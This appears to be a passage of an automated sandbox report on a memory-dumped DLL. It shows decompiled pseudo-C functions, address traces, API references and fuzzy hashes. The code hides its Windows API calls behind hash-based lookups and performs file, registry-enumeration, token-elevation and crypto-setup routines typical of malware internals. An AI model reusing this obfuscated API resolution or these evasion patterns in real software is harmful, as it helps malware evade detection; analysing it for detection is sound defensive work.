0x6de95b9d
0x6de95baa
0x6de95bac
0x6de95bac
0x6de95bb1
0x6de95bb6
0x6de95bc4
0x6de95c2f
0x6de95c32
0x00000000
0x6de95bc6
0x6de95bcb
0x6de95c18
0x6de95c1c
0x6de95c26
0x6de95c26
0x6de95c1c
0x6de95bcd
0x6de95bd9
0x6de95bde
0x6de95beb
0x6de95bf2
0x6de95bfe
0x6de95bff
0x6de95c06
0x6de95bf4
0x6de95bf4
0x6de95bf5
0x6de95bf6
0x6de95bf8
0x6de95bfa
0x6de95bfb
0x6de95bfb
0x6de95bf2

APIs

CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,4BCC7CBA,80C50A91), ref: 6DE95BAA

Memory Dump Source

Source File: 00000003.00000002.503419518.000000006DE81000.00000020.00020000.sdmp, Offset: 6DE80000, based on PE: true

Associated: 00000003.00000002.503404832.000000006DE80000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503456813.000000006DE9A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503468463.000000006DE9D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.503477036.000000006DE9F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 5b8d02cd4674f4ed770eb1c7c80a412027ed08d7cd8f65890b2514b95d1dd015
Instruction ID: fe84acc0088b34ec0183131f12823208d043eed988dd5acfb6d60ef5dee628f2
Opcode Fuzzy Hash: 5b8d02cd4674f4ed770eb1c7c80a412027ed08d7cd8f65890b2514b95d1dd015
Instruction Fuzzy Hash: 59012B60386307BAEB1116208C81F7F765AEB8324EF31486DFA557D186EF6198058121

Uniqueness

Uniqueness Score: -1.00%

Function 6DE95B1F, Relevance: 1.6, APIs: 1, Instructions: 52
fileCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E6DE95B1F(void* __ebx, void* __ecx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
				void* _t6;
				void* _t11;
				void* _t14;
				void* _t19;
				void* _t21;
				long _t22;
				WCHAR** _t23;
				intOrPtr* _t30;
				WCHAR** _t31;
				long _t35;
				void* _t37;
				void* _t38;

				_t31 = __edi;
				_t35 = 3;
				if(__ebx != 2) {
					_t6 = 3;
					_t21 = 0;
					_t22 =  ==  ? _t6 : _t21;
				} else {
					_t22 = 1;
				}
				if(E6DE92F8C(0x4bcc7cba, 0x80c50a91) == 0) {
					_push(0);
				} else {
					_t19 = CreateFileW( *_t31, 0x100, _t22, 0, _t35, _a44, 0); // executed
					_push(_t19);
				}
				_t23 =  &(_t31[3]);
				E6DE8C328(_t23);
				if(E6DE8C33C(_t23) != 0) {
					_t31[2] = E6DE9352C(0x100);
					_t11 = 0;
					goto L12;
				} else {
					if( *((intOrPtr*)(_t38 + 0x24)) == 2) {
						_t30 = E6DE92F8C(0x4bcc7cba, 0xceed09cc);
						if(_t30 != 0) {
							 *_t30( *_t23, 0, 0, 2);
						}
					}
					_t37 = _t38 + 8;
					E6DE935D4(_t37, 0xff, 8);
					_t38 = _t38 + 0xc;
					_t14 = E6DE92F8C(0x4bcc7cba, 0xaaa9bb);
					if(_t14 == 0) {
						_t11 = 1;
						L12:
						return _t11;
					} else {
						_push(_t37);
						_push(_t37);
						_push(0);
						_push( *_t23);
						asm("int3");
						return _t14;
					}
				}
			}

0x6de95b1f
0x6de95b26
0x6de95b75
0x6de95b7e
0x6de95b84
0x6de95b85
0x6de95b77
0x6de95b79
0x6de95b79
0x6de95b9b
0x6de95baf
0x6de95b9d
0x6de95baa
0x6de95bac
0x6de95bac
0x6de95bb1
0x6de95bb6
0x6de95bc4
0x6de95c2f
0x6de95c32
0x00000000
0x6de95bc6
0x6de95bcb
0x6de95c18
0x6de95c1c
0x6de95c26
0x6de95c26
0x6de95c1c
0x6de95bcd
0x6de95bd9
0x6de95bde
0x6de95beb
0x6de95bf2
0x6de95bfe
0x6de95bff
0x6de95c06
0x6de95bf4
0x6de95bf4
0x6de95bf5
0x6de95bf6
0x6de95bf8
0x6de95bfa
0x6de95bfb
0x6de95bfb
0x6de95bf2

APIs

CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,4BCC7CBA,80C50A91), ref: 6DE95BAA

Memory Dump Source

Source File: 00000003.00000002.503419518.000000006DE81000.00000020.00020000.sdmp, Offset: 6DE80000, based on PE: true

Associated: 00000003.00000002.503404832.000000006DE80000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503456813.000000006DE9A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503468463.000000006DE9D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.503477036.000000006DE9F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c230670b004b2ad28e76934f353d99ed69517ec83133175e69b5ed079cd00cba
Instruction ID: 793ff0dfe71c1ea1d6c741bc5c317efcf9a24066d652183c1084671c01f2c6ee
Opcode Fuzzy Hash: c230670b004b2ad28e76934f353d99ed69517ec83133175e69b5ed079cd00cba
Instruction Fuzzy Hash: FB01F4B038A307BAEB2216208C81F7F765DEB9334EF31486CFA557D185EF6198158131

Uniqueness

Uniqueness Score: -1.00%

Function 6DE95B6D, Relevance: 1.6, APIs: 1, Instructions: 51
fileCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E6DE95B6D(void* __ebx, void* __ecx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
				void* _t6;
				void* _t11;
				void* _t14;
				void* _t19;
				void* _t21;
				long _t22;
				WCHAR** _t23;
				intOrPtr* _t30;
				WCHAR** _t31;
				long _t35;
				void* _t37;
				void* _t38;

				_t31 = __edi;
				_t35 = 3;
				if(__ebx != 2) {
					_t6 = 3;
					_t21 = 0;
					_t22 =  ==  ? _t6 : _t21;
				} else {
					_t22 = 1;
				}
				if(E6DE92F8C(0x4bcc7cba, 0x80c50a91) == 0) {
					_push(0);
				} else {
					_t19 = CreateFileW( *_t31, 0, _t22, 0, _t35, _a44, 0); // executed
					_push(_t19);
				}
				_t23 =  &(_t31[3]);
				E6DE8C328(_t23);
				if(E6DE8C33C(_t23) != 0) {
					_t31[2] = E6DE9352C(0);
					_t11 = 0;
					goto L12;
				} else {
					if( *((intOrPtr*)(_t38 + 0x24)) == 2) {
						_t30 = E6DE92F8C(0x4bcc7cba, 0xceed09cc);
						if(_t30 != 0) {
							 *_t30( *_t23, 0, 0, 2);
						}
					}
					_t37 = _t38 + 8;
					E6DE935D4(_t37, 0xff, 8);
					_t38 = _t38 + 0xc;
					_t14 = E6DE92F8C(0x4bcc7cba, 0xaaa9bb);
					if(_t14 == 0) {
						_t11 = 1;
						L12:
						return _t11;
					} else {
						_push(_t37);
						_push(_t37);
						_push(0);
						_push( *_t23);
						asm("int3");
						return _t14;
					}
				}
			}

0x6de95b6d
0x6de95b71
0x6de95b75
0x6de95b7e
0x6de95b84
0x6de95b85
0x6de95b77
0x6de95b79
0x6de95b79
0x6de95b9b
0x6de95baf
0x6de95b9d
0x6de95baa
0x6de95bac
0x6de95bac
0x6de95bb1
0x6de95bb6
0x6de95bc4
0x6de95c2f
0x6de95c32
0x00000000
0x6de95bc6
0x6de95bcb
0x6de95c18
0x6de95c1c
0x6de95c26
0x6de95c26
0x6de95c1c
0x6de95bcd
0x6de95bd9
0x6de95bde
0x6de95beb
0x6de95bf2
0x6de95bfe
0x6de95bff
0x6de95c06
0x6de95bf4
0x6de95bf4
0x6de95bf5
0x6de95bf6
0x6de95bf8
0x6de95bfa
0x6de95bfb
0x6de95bfb
0x6de95bf2

APIs

CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,4BCC7CBA,80C50A91), ref: 6DE95BAA

Memory Dump Source

Source File: 00000003.00000002.503419518.000000006DE81000.00000020.00020000.sdmp, Offset: 6DE80000, based on PE: true

Associated: 00000003.00000002.503404832.000000006DE80000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503456813.000000006DE9A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503468463.000000006DE9D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.503477036.000000006DE9F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f41fd778113157c199e1483cbf3e3356fcc1afe5b5c32d8304a410e71b511c74
Instruction ID: 874a1ebcf7656e2e1e3b9b1be3fbb9c25988d7149548e175de9ff9c98b4ad046
Opcode Fuzzy Hash: f41fd778113157c199e1483cbf3e3356fcc1afe5b5c32d8304a410e71b511c74
Instruction Fuzzy Hash: 19F02870386307BAEB2116208C81F7F765DEF9364EF31486CFA557D182EF6194158131

Uniqueness

Uniqueness Score: -1.00%

Function 6DE95D7C, Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E6DE95D7C(void* __ecx, intOrPtr _a4) {
				long _v16;
				long _t4;
				void* _t8;
				void** _t9;
				intOrPtr _t17;
				long* _t18;

				_push(_t16);
				_t8 = __ecx;
				_t17 = _a4;
				if(_t17 != 0) {
					asm("pxor xmm0, xmm0");
					asm("movq [esi], xmm0");
				}
				_t9 = _t8 + 0xc;
				if(E6DE8C33C(_t9) != 0) {
					L7:
					_t4 = 0;
					goto L10;
				} else {
					asm("stosd");
					asm("stosd");
					if(E6DE92F8C(0x4bcc7cba, 0xceed09cc) == 0) {
						_t4 = 0;
					} else {
						_t4 = SetFilePointer( *_t9, 0,  &_v16, 1); // executed
					}
					if(_t4 != 0xffffffff) {
						if(_t17 != 0) {
							 *_t18 = _t4;
							asm("movq xmm0, [esp]");
							asm("movq [esi], xmm0");
						}
						L10:
						return _t4;
					} else {
						goto L7;
					}
				}
			}

0x6de95d80
0x6de95d81
0x6de95d83
0x6de95d89
0x6de95d8b
0x6de95d8f
0x6de95d8f
0x6de95d93
0x6de95d9f
0x6de95dd3
0x6de95dd3
0x00000000
0x6de95da1
0x6de95da6
0x6de95da7
0x6de95dbb
0x6de95dcc
0x6de95dbd
0x6de95dc8
0x6de95dc8
0x6de95dd1
0x6de95dd9
0x6de95ddb
0x6de95dde
0x6de95de3
0x6de95de3
0x6de95de7
0x6de95dec
0x00000000
0x00000000
0x00000000
0x6de95dd1

APIs

SetFilePointer.KERNELBASE(?,00000000,?,00000001,CEED09CC,?,?,00000000,00000000,?,6DE95CB4,?,?), ref: 6DE95DC8

Memory Dump Source

Source File: 00000003.00000002.503419518.000000006DE81000.00000020.00020000.sdmp, Offset: 6DE80000, based on PE: true

Associated: 00000003.00000002.503404832.000000006DE80000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503456813.000000006DE9A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503468463.000000006DE9D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.503477036.000000006DE9F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 7634ac0c9d3648873fd736d4ea4b19d370915cdf3bd7e6405098399fd11748dd
Instruction ID: ea87ad0ec9130aebf777d53a5863785342c20f5ffdf69f504df5661f5ccc5e15
Opcode Fuzzy Hash: 7634ac0c9d3648873fd736d4ea4b19d370915cdf3bd7e6405098399fd11748dd
Instruction Fuzzy Hash: 89F07D31A1B79269D3111A38DC44BBB73E4EFD2314F304B2DF580BE240EF2084454590

Uniqueness

Uniqueness Score: -1.00%

Function 6DE955B8, Relevance: 1.5, APIs: 1, Instructions: 45
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6DE955B8(void* __ecx) {
				long _t9;
				char* _t11;
				void* _t16;
				int _t17;
				int _t18;
				int* _t19;

				_t18 = 0;
				_t17 = _t19[0x48];
				_t16 = __ecx;
				_t11 =  &(_t19[1]);
				 *_t17 = 0;
				 *((intOrPtr*)(_t17 + 4)) = 0;
				 *((intOrPtr*)(_t17 + 8)) = 0;
				while(1) {
					 *_t19 = 0x105;
					if(E6DE92F8C(0xd0443458, 0x286b2253) == 0) {
						goto L4;
					}
					_t9 = RegEnumValueA( *(_t16 + 4), _t18, _t11, _t19, 0, 0, 0, 0); // executed
					if(_t9 == 0) {
						goto L4;
					}
					return _t17;
					L4:
					E6DE8E6E8(_t17, _t11,  *_t17);
					_t18 = _t18 + 1;
				}
			}

0x6de955c2
0x6de955c4
0x6de955cb
0x6de955cd
0x6de955d1
0x6de955d3
0x6de955d6
0x6de955d9
0x6de955d9
0x6de955f3
0x00000000
0x00000000
0x6de95604
0x6de95608
0x00000000
0x00000000
0x6de95616
0x6de95619
0x6de9561e
0x6de95623
0x6de95623

APIs

RegEnumValueA.KERNELBASE(?,00000001,?,00000000,00000000,00000000,00000000,00000000,D0443458,286B2253,?,?,D0443458,286B2253), ref: 6DE95604

Memory Dump Source

Source File: 00000003.00000002.503419518.000000006DE81000.00000020.00020000.sdmp, Offset: 6DE80000, based on PE: true

Associated: 00000003.00000002.503404832.000000006DE80000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503456813.000000006DE9A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503468463.000000006DE9D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.503477036.000000006DE9F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: EnumValue
String ID:
API String ID: 2814608202-0
Opcode ID: 32541c393d7cf9c9ac655dde4adff585132c35c09fbad7829b6a85831b260ca8
Instruction ID: 582b6f888cc76014ea689e605bc0908877c53ba7b7f33786135970116e4b0168
Opcode Fuzzy Hash: 32541c393d7cf9c9ac655dde4adff585132c35c09fbad7829b6a85831b260ca8
Instruction Fuzzy Hash: B2F0C2B520570A6FE7259E1ADC44CB7BBEDEBC1B18F60841DB1D653200DE31AC118AA0

Uniqueness

Uniqueness Score: -1.00%

Function 6DE910CC, Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E6DE910CC(void* __ecx) {
				void* _v36;
				void* _v44;
				int _t15;
				intOrPtr* _t21;
				void* _t24;
				intOrPtr* _t25;

				_t24 = __ecx;
				 *_t25 = 0;
				_t21 = E6DE92F94(0xd0443458, 0xd8ece5ad, 0xd0443458, 0xd0443458);
				if(_t21 == 0) {
					L5:
					return 0;
				}
				_push(_t25);
				_push(8);
				_push(_t24);
				if( *_t21() == 0 || E6DE92F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458) == 0) {
					goto L5;
				} else {
					_t2 = _t25 + 8 - 4; // 0xd0443454
					_t15 = GetTokenInformation( *(_t25 + 0x10), 0x14, _t2, 4, _t25 + 8); // executed
					if(_t15 == 0) {
						goto L5;
					}
					return 0 |  *((intOrPtr*)(_t25 + 4)) != 0x00000000;
				}
			}

0x6de910da
0x6de910dc
0x6de910ea
0x6de910ee
0x6de91137
0x00000000
0x6de91137
0x6de910f3
0x6de910f4
0x6de910f6
0x6de910fb
0x00000000
0x6de91114
0x6de91118
0x6de91125
0x6de91129
0x00000000
0x00000000
0x00000000
0x6de91132

APIs

GetTokenInformation.KERNELBASE(00000004,00000014,D0443454,00000004,D0443458,D0443458,D0443458), ref: 6DE91125

Memory Dump Source

Source File: 00000003.00000002.503419518.000000006DE81000.00000020.00020000.sdmp, Offset: 6DE80000, based on PE: true

Associated: 00000003.00000002.503404832.000000006DE80000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503456813.000000006DE9A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503468463.000000006DE9D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.503477036.000000006DE9F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: ad9c72b20c447e21fde483402609026f9e34a91fec1d63206d321a76ac7e48c5
Instruction ID: b22b265865d164bd341cec8cda1ee557562282b61d8a94d95e231e48103103cb
Opcode Fuzzy Hash: ad9c72b20c447e21fde483402609026f9e34a91fec1d63206d321a76ac7e48c5
Instruction Fuzzy Hash: 96F04F747092477BFB059569DC15F7B329E5BC1618F60C82CBA50EE288FF78C94A8321

Uniqueness

Uniqueness Score: -1.00%

Function 6DE93564, Relevance: 1.5, APIs: 1, Instructions: 42
memoryCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E6DE93564(void* __ecx) {
				void* _t3;
				intOrPtr* _t8;
				void* _t12;

				_t12 = __ecx;
				if( *0x6de9d228 == 0xcd845700) {
					_t8 = E6DE92F8C(0xa5eabdf8, 0xd926c223);
					 *0x6de9d22c = E6DE92F8C(0xa5eabdf8, 0x9b42cb07);
					if( *0x6de9d228 == 0xcd845700) {
						 *_t8(2, 0, 0, 0, 0, 0); // executed
						 *0x6de9d228 = 0;
					}
				}
				_t3 = E6DE92F8C(0xa5eabdf8, 0x80febacc);
				if(_t3 == 0) {
					return 0;
				} else {
					_push(_t12);
					_push(8);
					_push( *0x6de9d228);
					asm("int3");
					return _t3;
				}
			}

0x6de9356c
0x6de93574
0x6de935a7
0x6de935b8
0x6de935c3
0x6de935ce
0x6de935d0
0x6de935d0
0x6de935c3
0x6de93580
0x6de93587
0x6de93597
0x6de93589
0x6de93589
0x6de9358a
0x6de9358c
0x6de9358e
0x6de9358f
0x6de9358f

APIs

RtlCreateHeap.NTDLL(00000002,00000000,00000000,00000000,00000000,00000000,A5EABDF8,9B42CB07,A5EABDF8,D926C223,?,?,00000000,6DE8DEB9,?,?), ref: 6DE935CE

Memory Dump Source

Source File: 00000003.00000002.503419518.000000006DE81000.00000020.00020000.sdmp, Offset: 6DE80000, based on PE: true

Associated: 00000003.00000002.503404832.000000006DE80000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503456813.000000006DE9A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503468463.000000006DE9D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.503477036.000000006DE9F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 4bdef821fc24035e99394cdbcafb1e670b63a7f7441059e877e65bca299c6900
Instruction ID: ce3f94103e8519ead21903f8cd21f34eb37abecb95c510493b6ce2ffccc4d590
Opcode Fuzzy Hash: 4bdef821fc24035e99394cdbcafb1e670b63a7f7441059e877e65bca299c6900
Instruction Fuzzy Hash: 27F0897220E112FDD7151A766C04E66BAD8FFC962ABF0842DB755FE140DF144440D622

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6DE89144, Relevance: 2.4, Strings: 1, Instructions: 1104
COMMONCrypto

Download Yara Rule

C-Code - Quality: 59%

			E6DE89144(intOrPtr __ecx, intOrPtr __edx, void* __eflags) {
				intOrPtr _v20;
				intOrPtr _v40;
				char _v60;
				intOrPtr _v92;
				void* _v96;
				char _v100;
				char _v104;
				char _v108;
				intOrPtr _v112;
				signed int _v116;
				char _v128;
				intOrPtr _v132;
				void* _v136;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v156;
				char _v160;
				signed int _v164;
				char _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				intOrPtr _v188;
				signed int _v192;
				char _v196;
				void* _v200;
				signed int _v204;
				char _v208;
				char _v212;
				char _v216;
				intOrPtr _v220;
				intOrPtr _v228;
				intOrPtr _v236;
				void* _v268;
				char _v292;
				char _v308;
				char _v316;
				char _v320;
				void* _v324;
				char _v332;
				char _v340;
				void* _v356;
				void* _v360;
				char _v364;
				char _v380;
				signed int _v388;
				intOrPtr _v392;
				signed int _v396;
				intOrPtr _v400;
				signed int _v404;
				char _v408;
				void* _v412;
				char _v416;
				signed int* _v420;
				char _v424;
				char _v428;
				char _v432;
				char _v436;
				intOrPtr _v440;
				signed int* _v444;
				char _v448;
				void* _v452;
				intOrPtr _v460;
				char _v464;
				void* _v468;
				char _v472;
				intOrPtr _v476;
				char _v480;
				void* _v484;
				char _v492;
				char _v496;
				void* _v500;
				char _v508;
				char _v516;
				signed int _v520;
				char _v524;
				char _v528;
				char _v532;
				char _v536;
				char _v540;
				char _v544;
				void* _v548;
				char _v552;
				char _v556;
				char _v560;
				signed int _v564;
				signed int _v568;
				char _v572;
				char _v576;
				char _v580;
				char _v584;
				char _v588;
				char _v592;
				char _v596;
				char _v600;
				char _v604;
				char _v608;
				char _v612;
				char _v616;
				char _v620;
				char _v624;
				signed int _v628;
				char _v632;
				char _v636;
				char _v640;
				char _v644;
				char _v648;
				char _v652;
				char _v656;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t437;
				intOrPtr _t442;
				signed int _t444;
				char* _t459;
				char _t534;
				signed int _t544;
				intOrPtr _t546;
				signed int _t550;
				signed int _t556;
				intOrPtr _t561;
				signed int _t567;
				char _t579;
				intOrPtr _t584;
				char _t585;
				intOrPtr _t589;
				char _t590;
				intOrPtr _t594;
				char _t595;
				intOrPtr _t599;
				char _t600;
				intOrPtr _t604;
				char _t605;
				intOrPtr _t609;
				signed int _t622;
				char _t629;
				intOrPtr _t633;
				signed char* _t635;
				signed int _t638;
				intOrPtr _t641;
				signed int* _t647;
				signed int* _t650;
				intOrPtr _t665;
				char* _t806;
				signed int* _t836;
				char* _t837;
				char* _t844;
				void* _t845;
				intOrPtr* _t854;
				signed int* _t856;
				intOrPtr* _t857;
				signed int* _t858;
				signed int* _t860;
				signed int* _t863;
				intOrPtr _t864;
				intOrPtr _t867;
				char _t868;
				signed int _t869;
				intOrPtr* _t872;
				intOrPtr* _t874;
				intOrPtr* _t875;
				intOrPtr* _t876;
				intOrPtr* _t877;
				intOrPtr* _t878;
				signed int* _t881;
				intOrPtr* _t882;
				char* _t907;
				void* _t935;
				char _t950;
				char _t951;
				intOrPtr* _t953;
				void* _t954;
				intOrPtr* _t955;
				void* _t957;

				_t957 = __eflags;
				_t953 =  &_v496;
				_t641 = __edx;
				_v40 = __ecx;
				_t951 =  *((intOrPtr*)(__ecx + 0xc));
				E6DE92F8C(0x23627913, 0xae88daa3);
				_v496 = 0;
				E6DE8F620( &_v492, 0);
				_v480 = 0;
				_v476 = 0;
				E6DE8F620( &_v472, 0);
				_v528 = 0;
				E6DE8F620( &_v524, 0);
				_v392 = 0x4145240a;
				asm("pxor xmm0, xmm0");
				asm("movq [ecx+0x90], xmm0");
				E6DE8F8C4( &_v528, E6DE8F568( &_v528) + 0x10);
				E6DE8F558( &_v532, E6DE8F568( &_v532) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v540 = _v540 + 1;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v536 + 0x88)) = 0x22dc1034;
				asm("movq [ecx+0x90], xmm0");
				E6DE8F8C4( &_v536, E6DE8F568( &_v536) + 0x10);
				E6DE8F558( &_v540, E6DE8F568( &_v540) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v548 = _v548 + 1;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v544 + 0x88)) = 0xc06fd820;
				asm("movq [ecx+0x90], xmm0");
				E6DE8F8C4( &_v544, E6DE8F568( &_v544) + 0x10);
				E6DE8F558( &_v548, E6DE8F568( &_v548) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v556 = _v556 + 1;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v552 + 0x88)) = 0xa54975b2;
				asm("movq [ecx+0x90], xmm0");
				E6DE8F8C4( &_v552, E6DE8F568( &_v552) + 0x10);
				E6DE8F558( &_v556, E6DE8F568( &_v556) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v564 = _v564 + 1;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v560 + 0x88)) = 0x271e028;
				asm("movq [ecx+0x90], xmm0");
				E6DE8F8C4( &_v560, E6DE8F568( &_v560) + 0x10);
				E6DE8F558( &_v564, E6DE8F568( &_v564) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v572 = _v572 + 1;
				asm("pxor xmm0, xmm0");
				( &_v568)[0x22] = 0xf279aa39;
				asm("movq [ecx+0x90], xmm0");
				E6DE8F8C4( &_v568, E6DE8F568( &_v568) + 0x10);
				E6DE8F558( &_v572, E6DE8F568( &_v572) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *_t953 =  *_t953 + 1;
				E6DE9413C(0xa5eabdf8, _t953);
				E6DE8F558( &_v576, 0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x4c], xmm0");
				E6DE8F558( &_v580, 0x10);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x54], xmm0");
				E6DE8F558( &_v584, 0x20);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x64], xmm0");
				E6DE8F558( &_v588, 0x30);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x6c], xmm0");
				E6DE8F558( &_v592, 0x40);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x74], xmm0");
				E6DE8F558( &_v596, 0x50);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x7c], xmm0");
				_v584 = _t951;
				E6DE8ADB8( &_v584,  &_v172, _t957,  &_v192);
				_t889 = _v176;
				_t931 = _v172;
				if((_v176 | _v172) != 0) {
					E6DE8B338( &_v308, _t951, __eflags, _t889, _t931);
					E6DE8F8DC( &_v516, __eflags);
					_v520 = 0;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v516 + 0x88)) = 0x5889e652;
					asm("movq [eax+0x8], xmm0");
					E6DE8F8C4( &_v516, E6DE8F568( &_v516) + 0x10);
					E6DE8F558( &_v520, E6DE8F568( &_v520) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v528 = _v528 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v524 + 0x88)) = 0x1eeb5e35;
					asm("movq [eax+0x8], xmm0");
					E6DE8F8C4( &_v524, E6DE8F568( &_v524) + 0x10);
					E6DE8F558( &_v528, E6DE8F568( &_v528) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v536 = _v536 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v532 + 0x88)) = 0xac5d5303;
					asm("movq [eax+0x8], xmm0");
					E6DE8F8C4( &_v532, E6DE8F568( &_v532) + 0x10);
					E6DE8F558( &_v536, E6DE8F568( &_v536) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v544 = _v544 + 1;
					_t954 = _t953 + 0xfffffff4;
					asm("movq xmm0, [esp+0x1bc]");
					asm("movq [esp], xmm0");
					_v548 =  &_v544;
					E6DE8BAB8( &_v340, __eflags);
					E6DE8F558( &_v552, 0);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x5c], xmm0");
					E6DE8F558( &_v556, 0x10);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x84], xmm0");
					_t935 = E6DE8F558( &_v560, 0x20);
					_v164 =  *((intOrPtr*)(_t935 + 8));
					_v144 =  *((intOrPtr*)(_t935 + 0xc));
					E6DE8F620( &_v396, 0);
					E6DE8F620( &_v416, 0);
					_push(0);
					_push( *0x6de9b7c4);
					E6DE920A4(__eflags,  &_v100);
					E6DE8F75C( &_v416, __eflags);
					E6DE8E054( &_v100);
					E6DE8F8C4( &_v436, E6DE8F744( &_v420,  &_v100));
					_t437 = E6DE8F558( &_v424, 0);
					E6DE87970(_t951, _t437, E6DE8F558( &_v444, 0), _v112);
					_t442 = E6DE8F568( &_v448);
					_v228 = _t442;
					_t101 = _t442 + 2; // 0x2
					_v188 = E6DE8B0A4( &_v584, 0x20000000, __eflags, _t101);
					_v236 = 0x20000000;
					_t444 = E6DE8B0A4( &_v588, 0x80000000, __eflags, 0x82);
					_v184 = _t444;
					_v204 = 0x80000000;
					__eflags = _t444 | _v204;
					if((_t444 | _v204) == 0) {
						L51:
						E6DE8F6F0( &_v380);
						E6DE8F6F0( &_v364);
						E6DE8F6F0( &_v332);
						goto L1;
					}
					__eflags = _v116 | _v164;
					if((_v116 | _v164) == 0) {
						goto L51;
					}
					E6DE935D4( &_v292, 0, 0x80);
					_t955 = _t954 + 0xc;
					 *((intOrPtr*)( &_v316 + 0x78)) = _v20;
					E6DE8CDC0( &_v316, 0);
					_t459 =  &_v320;
					_t854 = _t459 + 0xe8;
					 *_t854 = _t641;
					 *((intOrPtr*)(_t854 - 4)) = _v20;
					_push(_t459);
					E6DE8B48C(_t641, _t459 - 0x20, _t854 - 4, _v20, _t951, _t951, _t854 - 4);
					asm("cdq");
					asm("movd xmm1, eax");
					asm("movd xmm0, edx");
					asm("punpckldq xmm1, xmm0");
					asm("movq [esp+0x134], xmm1");
					_v236 = E6DE8F568(_v20);
					asm("cdq");
					asm("movd xmm1, eax");
					asm("movd xmm0, edx");
					asm("punpckldq xmm1, xmm0");
					asm("movq [esi+0x8], xmm1");
					_v220 = E6DE8F568(_t641);
					asm("cdq");
					asm("movd xmm1, eax");
					asm("movd xmm0, edx");
					asm("punpckldq xmm1, xmm0");
					asm("movq [ebx-0x90], xmm1");
					E6DE93C8C(_t951,  &_v60 - 0x80, __eflags, _v148, _v128, 7,  &_v60);
					_t133 =  &(( &_v564)[0x58]); // 0x160
					_t856 = _t133;
					 *_t856 = _v164;
					_t856[1] = ( &_v564)[0x69];
					E6DE8F8DC( &_v564, __eflags);
					_v568 = 0;
					_t746 =  &_v564;
